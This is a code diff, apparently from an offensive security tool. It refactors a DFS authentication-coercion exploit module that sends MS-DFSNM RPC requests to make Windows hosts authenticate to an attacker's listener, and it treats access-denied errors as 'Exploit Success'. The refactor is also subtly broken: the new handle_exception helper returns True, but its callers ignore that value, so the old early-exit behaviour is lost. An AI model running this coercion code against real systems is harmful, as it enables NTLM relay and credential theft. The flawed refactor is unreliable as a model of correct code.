@@ -389,17 +389,7 @@ def exploit(self, dce, listener, always_continue, pipe):
389389
390390 dce .request (request )
391391 except Exception as e :
392- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("RPC_S_INVALID_NET_ADDR" ) >= 0 :
393- self .context .log .debug ("NetrDfsAddStdRootForced Success" )
394- self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsAddStdRootForced" )
395- if not always_continue :
396- return True
397- elif str (e ).find ("ERROR_NOT_SUPPORTED" ) >= 0 :
398- self .context .log .debug ("Not Vulnerable" )
399- elif str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
400- self .context .log .info ("Could not find listener machine" )
401- else :
402- self .context .log .debug (f"Something went wrong, check error status => { e !s} " )
392+ self .handle_exception (request .__class__ .__name__ , always_continue , pipe , e )
403393
404394 self .context .log .debug ("Sending NetrDfsAddRootTarget!" )
405395 try :
@@ -423,17 +413,7 @@ def exploit(self, dce, listener, always_continue, pipe):
423413 self .context .log .debug ("NetrDfsAddRootTarget Success" )
424414 return True
425415 except Exception as e :
426- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("RPC_S_INVALID_NET_ADDR" ) >= 0 :
427- self .context .log .debug ("NetrDfsAddRootTarget Success" )
428- self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsAddRootTarget" )
429- if not always_continue :
430- return True
431- elif str (e ).find ("ERROR_NOT_SUPPORTED" ) >= 0 :
432- self .context .log .debug ("Not Vulnerable" )
433- elif str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
434- self .context .log .info ("Could not find listener machine" )
435- else :
436- self .context .log .debug (f"Something went wrong, check error status => { e !s} " )
416+ self .handle_exception (request .__class__ .__name__ , always_continue , pipe , e )
437417
438418 # Private exploit
439419 self .context .log .debug ("Sending NetrDfsRemoveRootTarget!" )
@@ -452,17 +432,7 @@ def exploit(self, dce, listener, always_continue, pipe):
452432 self .context .log .debug ("NetrDfsRemoveRootTarget Success" )
453433 return True
454434 except Exception as e :
455- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("RPC_S_INVALID_NET_ADDR" ) >= 0 :
456- self .context .log .debug ("NetrDfsRemoveRootTarget Success" )
457- self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsRemoveRootTarget" )
458- if not always_continue :
459- return True
460- elif str (e ).find ("ERROR_NOT_SUPPORTED" ) >= 0 :
461- self .context .log .debug ("Not Vulnerable" )
462- elif str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
463- self .context .log .info ("Could not find listener machine" )
464- else :
465- self .context .log .debug (f"Something went wrong, check error status => { e !s} " )
435+ self .handle_exception (request .__class__ .__name__ , always_continue , pipe , e )
466436
467437 self .context .log .debug ("Sending NetrDfsManagerInitialize!" )
468438 try :
@@ -477,17 +447,7 @@ def exploit(self, dce, listener, always_continue, pipe):
477447
478448 dce .request (request )
479449 except Exception as e :
480- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("RPC_S_INVALID_NET_ADDR" ) >= 0 :
481- self .context .log .debug ("NetrDfsAdd Success" )
482- self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsAdd" )
483- if not always_continue :
484- return True
485- elif str (e ).find ("ERROR_NOT_SUPPORTED" ) >= 0 :
486- self .context .log .debug ("Not Vulnerable" )
487- elif str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
488- self .context .log .info ("Could not find listener machine" )
489- else :
490- self .context .log .debug (f"Something went wrong, check error status => { e !s} " )
450+ self .handle_exception (request .__class__ .__name__ , always_continue , pipe , e )
491451
492452 self .context .log .debug ("Sending NetrDfsManagerInitialize!" )
493453 try :
@@ -502,17 +462,7 @@ def exploit(self, dce, listener, always_continue, pipe):
502462
503463 dce .request (request )
504464 except Exception as e :
505- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("RPC_S_INVALID_NET_ADDR" ) >= 0 :
506- self .context .log .debug ("NetrDfsAdd Success" )
507- self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsAdd" )
508- if not always_continue :
509- return True
510- elif str (e ).find ("ERROR_NOT_SUPPORTED" ) >= 0 :
511- self .context .log .debug ("Not Vulnerable" )
512- elif str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
513- self .context .log .info ("Could not find listener machine" )
514- else :
515- self .context .log .highlight (f"Something went wrong, check error status => { e !s} " )
465+ self .handle_exception (request .__class__ .__name__ , always_continue , pipe , e )
516466
517467 self .context .log .debug ("Sending NetrDfsAddStdRoot!" )
518468 try :
@@ -523,17 +473,7 @@ def exploit(self, dce, listener, always_continue, pipe):
523473 request ["ApiFlags" ] = 0
524474 dce .request (request )
525475 except Exception as e :
526- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("RPC_S_INVALID_NET_ADDR" ) >= 0 :
527- self .context .log .debug ("NetrDfsAddStdRoot Success" )
528- self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsAddStdRoot" )
529- if not always_continue :
530- return True
531- elif str (e ).find ("ERROR_NOT_SUPPORTED" ) >= 0 :
532- self .context .log .debug ("Not Vulnerable" )
533- elif str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
534- self .context .log .info ("Could not find listener machine" )
535- else :
536- self .context .log .debug (f"Something went wrong, check error status => { e !s} " )
476+ self .handle_exception (request .__class__ .__name__ , always_continue , pipe , e )
537477
538478 self .context .log .debug ("Sending NetrDfsRemoveStdRoot!" )
539479 try :
@@ -543,17 +483,20 @@ def exploit(self, dce, listener, always_continue, pipe):
543483 request ["ApiFlags" ] = 0
544484 dce .request (request )
545485 except Exception as e :
546- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("RPC_S_INVALID_NET_ADDR" ) >= 0 :
547- self .context .log .debug ("NetrDfsRemoveStdRoot Success" )
548- self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsRemoveStdRoot" )
549- if not always_continue :
550- return True
551- elif str (e ).find ("ERROR_NOT_SUPPORTED" ) >= 0 :
552- self .context .log .debug ("Not Vulnerable" )
553- elif str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
554- self .context .log .info ("Could not find listener machine" )
555- else :
556- self .context .log .debug (f"Something went wrong, check error status => { e !s} " )
486+ self .handle_exception (request .__class__ .__name__ , always_continue , pipe , e )
487+
488+ def handle_exception (self , method_name , always_continue , pipe , e ):
489+ if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("RPC_S_INVALID_NET_ADDR" ) >= 0 :
490+ self .context .log .debug (f"{ method_name } Success" )
491+ self .context .log .highlight (f"Exploit Success, { pipe } \\ { method_name } " )
492+ if not always_continue :
493+ return True
494+ elif str (e ).find ("ERROR_NOT_SUPPORTED" ) >= 0 :
495+ self .context .log .debug ("Not Vulnerable" )
496+ elif str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
497+ self .context .log .info ("Could not find listener machine" )
498+ else :
499+ self .context .log .debug (f"Something went wrong, check error status => { e !s} " )
557500
558501
559502class PetitPotamtTrigger :
0 commit comments